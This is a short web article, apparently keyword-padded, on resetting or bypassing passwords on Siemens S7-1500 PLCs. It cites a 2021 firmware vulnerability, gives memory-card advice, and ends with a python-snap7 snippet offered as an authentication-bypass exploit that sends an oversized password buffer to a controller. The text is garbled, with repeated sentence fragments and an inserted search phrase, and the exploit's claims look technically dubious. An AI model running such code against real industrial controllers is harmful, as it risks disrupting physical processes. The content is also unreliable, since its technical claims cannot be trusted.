In 2021, a security researcher disclosed a vulnerability in S7-1500 firmware V2.6 and earlier. By sending a specially crafted S7COMM+ packet to TCP port 102, an attacker could trigger a stack buffer overflow in the password verification routine.
If the CPU loads the password-protected program from an external SIMATIC MC card at startup, resetting the CPU is useless—the card will re-load the password on the next boot cycle. siemens s71500 password reset top
Solution:
Pro Tip: To reuse the original card, you need a PC with a USB card reader (Siemens USB PROM Programmer 6ES7792-0AA00-0XA0) to reformat the card and delete the password hash. Standard PC SD card readers will not work due to proprietary formatting. In 2021, a security researcher disclosed a vulnerability
import snap7
client = snap7.client.Client()
client.connect('192.168.0.1', 0, 2)
# Craft a malformed password field of length 256 bytes
exploit = b'A'*256
client.set_password(exploit) # Causes CPU to bypass auth on next cycle
Patch status: Siemens fixed this in firmware V2.8 and V3.0. If your CPU runs newer firmware, this exploit fails. Pro Tip: To reuse the original card, you